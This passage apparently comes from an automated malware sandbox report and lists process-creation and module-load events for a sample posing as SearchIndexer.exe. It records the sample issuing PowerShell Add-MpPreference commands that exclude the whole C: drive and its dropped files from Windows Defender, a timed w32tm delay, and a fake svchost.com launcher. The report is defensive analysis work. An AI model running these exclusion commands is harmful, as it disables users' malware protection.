                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Windows\System32\wbem\WmiPrvSE.exe C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
                              Source: unknownProcess created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE"
                              Source: C:\Windows\svchost.comProcess created: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE
                              Source: unknownProcess created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
                              Source: unknownProcess created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE"
                              Source: C:\Windows\svchost.comProcess created: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE
                              Source: unknownProcess created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE"
                              Source: C:\Windows\svchost.comProcess created: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE
                              Source: unknownProcess created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE"
                              Source: C:\Windows\svchost.comProcess created: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE
                              Source: unknownProcess created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE"
                              Source: C:\Windows\svchost.comProcess created: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE
                              Source: unknownProcess created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE"
                              Source: C:\Windows\svchost.comProcess created: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE
                              Source: unknownProcess created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE"
                              Source: C:\Windows\svchost.comProcess created: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE
                              Source: unknownProcess created: C:\Windows\svchost.com "C:\Windows\svchost.com" "C:\Windows\Provisioning\Packages\TAVTSO~1.EXE"
                              Source: C:\Windows\svchost.comProcess created: C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe C:\Windows\Provisioning\Packages\TAVTSO~1.EXE
                              Source: C:\Users\user\Desktop\SearchIndexer.exeProcess created: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe "C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe" Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\qhmtfwmp\qhmtfwmp.cmdline"Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/$WinREAgent/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Users/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:/Windows/'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows defender\SearchIndexer.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Windows\Provisioning\Packages\tAVtSoJGTaCxrZiXcJn.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\windows multimedia platform\tAVtSoJGTaCxrZiXcJn.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell" -Command Add-MpPreference -ExclusionPath 'C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe'Jump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeProcess created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /C "C:\Users\user\AppData\Local\Temp\3vTESgZFSf.bat" Jump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeProcess created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESF5B1.tmp" "c:\Windows\System32\CSC8B0546412F3A4425A5D7AA169F4D63A4.TMP"Jump to behavior
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcp 65001
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\w32tm.exe w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2
                              Source: C:\Windows\System32\cmd.exeProcess created: C:\Program Files (x86)\Windows NT\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe "C:\Program Files (x86)\windows nt\TableTextService\en-US\tAVtSoJGTaCxrZiXcJn.exe"
                              Source: C:\Windows\svchost.comProcess created: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE
                              Source: C:\Windows\svchost.comProcess created: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE
                              Source: C:\Windows\svchost.comProcess created: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE
                              Source: C:\Windows\svchost.comProcess created: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE
                              Source: C:\Windows\svchost.comProcess created: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE
                              Source: C:\Windows\svchost.comProcess created: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE
                              Source: C:\Windows\svchost.comProcess created: C:\Program Files (x86)\Windows Multimedia Platform\tAVtSoJGTaCxrZiXcJn.exe C:\PROGRA~2\WI7A8C~1\TAVTSO~1.EXE
                              Source: C:\Windows\svchost.comProcess created: C:\Program Files\Windows Photo Viewer\RuntimeBroker.exe C:\PROGRA~1\WI8A19~1\RUNTIM~1.EXE
                              Source: C:\Windows\svchost.comProcess created: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exe C:\Users\user\AppData\Local\Temp\3582-490\SEARCH~1.EXE
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: propsys.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: edputil.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: urlmon.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: iertutil.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: windows.staterepositoryps.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: appresolver.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: bcp47langs.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: slc.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: sppc.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: onecorecommonproxystub.dllJump to behavior
                              Source: C:\Users\user\Desktop\SearchIndexer.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: mscoree.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: apphelp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: version.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: cryptsp.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: rsaenh.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: ktmw32.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: ntmarta.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: wbemcomn.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: propsys.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: dlnashext.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: wpdshext.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: edputil.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: urlmon.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: iertutil.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: wintypes.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: appresolver.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: bcp47langs.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: slc.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Users\user\AppData\Local\Temp\3582-490\SearchIndexer.exeSection loaded: sppc.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: version.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: mscoree.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptsp.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: rsaenh.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptsp.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: rsaenh.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dllJump to behavior
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: miutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wmidcom.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: dpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wbemcomn.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dll
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeSection loaded: microsoft.management.infrastructure.native.unmanaged.dll
